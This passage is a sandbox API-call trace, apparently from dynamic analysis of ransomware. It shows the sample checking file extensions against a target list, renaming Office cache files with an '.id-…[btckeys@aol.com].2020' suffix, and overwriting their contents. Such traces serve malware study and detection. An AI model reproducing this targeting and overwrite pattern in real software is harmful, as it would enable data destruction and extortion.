dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0066.115] WriteFile (in: hFile=0x168, lpBuffer=0x3f34f98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34f98*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.120] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0066.121] WriteFile (in: hFile=0x168, lpBuffer=0x3f34f98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34f98*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.127] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f34f98 | out: hHeap=0x4b0000) returned 1 [0066.127] CloseHandle (hObject=0x168) returned 1 [0069.512] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0069.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.513] lstrlenW (lpString=".doc") returned 4 [0069.513] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0069.513] lstrlenW (lpString=".docx") returned 5 [0069.513] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0069.513] lstrlenW (lpString=".pdf") returned 4 [0069.513] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0069.513] lstrlenW (lpString=".xls") returned 4 [0069.513] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0069.513] lstrlenW (lpString=".xlsx") returned 5 [0069.513] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0069.513] lstrlenW (lpString=".ppt") returned 4 [0069.513] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0069.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.513] lstrlenW (lpString=".zip") returned 4 [0069.513] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0069.513] lstrlenW (lpString=".rar") returned 4 [0069.513] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0069.513] lstrlenW (lpString=".bz2") returned 4 [0069.513] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0069.513] lstrlenW (lpString=".7z") returned 3 [0069.513] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0069.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.513] lstrlenW (lpString=".dbf") returned 4 [0069.513] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0069.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.514] lstrlenW (lpString=".1cd") returned 4 [0069.514] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0069.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.514] lstrlenW (lpString=".jpg") returned 4 [0069.514] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0069.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.514] lstrlenW (lpString=".doc") returned 4 [0069.514] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0069.514] lstrlenW (lpString=".docx") returned 5 [0069.514] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0069.514] lstrlenW (lpString=".pdf") returned 4 [0069.514] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0069.514] lstrlenW (lpString=".xls") returned 4 [0069.514] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0069.514] lstrlenW (lpString=".xlsx") returned 5 [0069.514] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0069.514] lstrlenW (lpString=".ppt") returned 4 [0069.514] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0069.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.514] lstrlenW (lpString=".zip") returned 4 [0069.514] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0069.514] lstrlenW (lpString=".rar") returned 4 [0069.514] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0069.514] lstrlenW (lpString=".bz2") returned 4 [0069.514] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0069.515] lstrlenW (lpString=".7z") returned 3 [0069.515] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0069.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.515] lstrlenW (lpString=".dbf") returned 4 [0069.515] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0069.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.515] lstrlenW (lpString=".1cd") returned 4 [0069.515] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0069.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0069.515] lstrlenW (lpString=".jpg") returned 4 [0069.515] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0069.515] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0069.515] lstrlenW (lpString="WordMUI.msi") returned 11 [0069.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0069.516] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2522624) returned 1 [0069.516] CloseHandle (hObject=0x168) returned 1 [0069.516] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0069.516] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.516] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0069.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0069.517] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0069.517] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0069.517] ReadFile (in: hFile=0x168, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.548] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0069.548] ReadFile (in: hFile=0x168, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.567] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0069.568] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0069.568] ReadFile (in: hFile=0x168, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.870] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0069.871] WriteFile (in: hFile=0x168, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0069.888] SetEndOfFile (hFile=0x168) returned 1 [0069.888] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ff4fb8 [0069.940] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0069.941] WriteFile (in: hFile=0x168, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.943] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0069.943] WriteFile (in: hFile=0x168, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.947] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0069.947] WriteFile (in: hFile=0x168, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.950] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ff4fb8 | out: hHeap=0x4b0000) returned 1 [0069.950] CloseHandle (hObject=0x168) returned 1 [0070.717] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0070.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.718] lstrlenW (lpString=".doc") returned 4 [0070.718] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0070.718] lstrlenW (lpString=".docx") returned 5 [0070.718] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0070.718] lstrlenW (lpString=".pdf") returned 4 [0070.718] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0070.718] lstrlenW (lpString=".xls") returned 4 [0070.718] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0070.718] lstrlenW (lpString=".xlsx") returned 5 [0070.718] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0070.718] lstrlenW (lpString=".ppt") returned 4 [0070.718] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0070.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.718] lstrlenW (lpString=".zip") returned 4 [0070.718] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0070.718] lstrlenW (lpString=".rar") returned 4 [0070.718] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0070.718] lstrlenW (lpString=".bz2") returned 4 [0070.718] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0070.718] lstrlenW (lpString=".7z") returned 3 [0070.718] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0070.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.718] lstrlenW (lpString=".dbf") returned 4 [0070.718] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0070.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.718] lstrlenW (lpString=".1cd") returned 4 [0070.718] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0070.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.718] lstrlenW (lpString=".jpg") returned 4 [0070.718] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0070.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.719] lstrlenW (lpString=".doc") returned 4 [0070.719] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0070.719] lstrlenW (lpString=".docx") returned 5 [0070.719] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0070.719] lstrlenW (lpString=".pdf") returned 4 [0070.719] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0070.719] lstrlenW (lpString=".xls") returned 4 [0070.719] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0070.719] lstrlenW (lpString=".xlsx") returned 5 [0070.719] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0070.719] lstrlenW (lpString=".ppt") returned 4 [0070.719] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0070.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.719] lstrlenW (lpString=".zip") returned 4 [0070.719] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0070.719] lstrlenW (lpString=".rar") returned 4 [0070.719] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0070.719] lstrlenW (lpString=".bz2") returned 4 [0070.719] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0070.719] lstrlenW (lpString=".7z") returned 3 [0070.719] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0070.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.719] lstrlenW (lpString=".dbf") returned 4 [0070.719] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0070.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.719] lstrlenW (lpString=".1cd") returned 4 [0070.719] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0070.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0070.719] lstrlenW (lpString=".jpg") returned 4 [0070.719] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0070.720] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0070.720] lstrlenW (lpString="Proof.cab") returned 9 [0070.720] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0070.932] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=13642474) returned 1 [0070.932] CloseHandle (hObject=0x1b0) returned 1 [0070.932] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0070.932] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.932] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0070.933] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0070.933] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0070.933] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0070.933] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.255] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0071.257] ReadFile (in: hFile=0x1b0, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.261] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0071.261] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0071.261] ReadFile (in: hFile=0x1b0, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.283] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0071.284] WriteFile (in: hFile=0x1b0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0071.489] SetEndOfFile (hFile=0x1b0) returned 1 [0071.489] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ff4fb8 [0071.489] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0071.489] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.491] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0071.491] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.492] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0071.492] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ff4fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4fb8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.492] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ff4fb8 | out: hHeap=0x4b0000) returned 1 [0071.492] CloseHandle (hObject=0x1b0) returned 1 [0074.511] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0074.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.512] lstrlenW (lpString=".doc") returned 4 [0074.512] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.512] lstrlenW (lpString=".docx") returned 5 [0074.512] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0074.512] lstrlenW (lpString=".pdf") returned 4 [0074.512] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0074.512] lstrlenW (lpString=".xls") returned 4 [0074.512] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0074.512] lstrlenW (lpString=".xlsx") returned 5 [0074.512] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0074.512] lstrlenW (lpString=".ppt") returned 4 [0074.512] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0074.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.512] lstrlenW (lpString=".zip") returned 4 [0074.512] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0074.512] lstrlenW (lpString=".rar") returned 4 [0074.512] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0074.512] lstrlenW (lpString=".bz2") returned 4 [0074.512] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.512] lstrlenW (lpString=".7z") returned 3 [0074.512] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.512] lstrlenW (lpString=".dbf") returned 4 [0074.512] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.512] lstrlenW (lpString=".1cd") returned 4 [0074.513] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.513] lstrlenW (lpString=".jpg") returned 4 [0074.513] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0074.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.513] lstrlenW (lpString=".doc") returned 4 [0074.513] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.513] lstrlenW (lpString=".docx") returned 5 [0074.513] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0074.513] lstrlenW (lpString=".pdf") returned 4 [0074.513] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0074.513] lstrlenW (lpString=".xls") returned 4 [0074.513] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0074.513] lstrlenW (lpString=".xlsx") returned 5 [0074.513] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0074.513] lstrlenW (lpString=".ppt") returned 4 [0074.513] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0074.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.513] lstrlenW (lpString=".zip") returned 4 [0074.513] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0074.513] lstrlenW (lpString=".rar") returned 4 [0074.513] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0074.513] lstrlenW (lpString=".bz2") returned 4 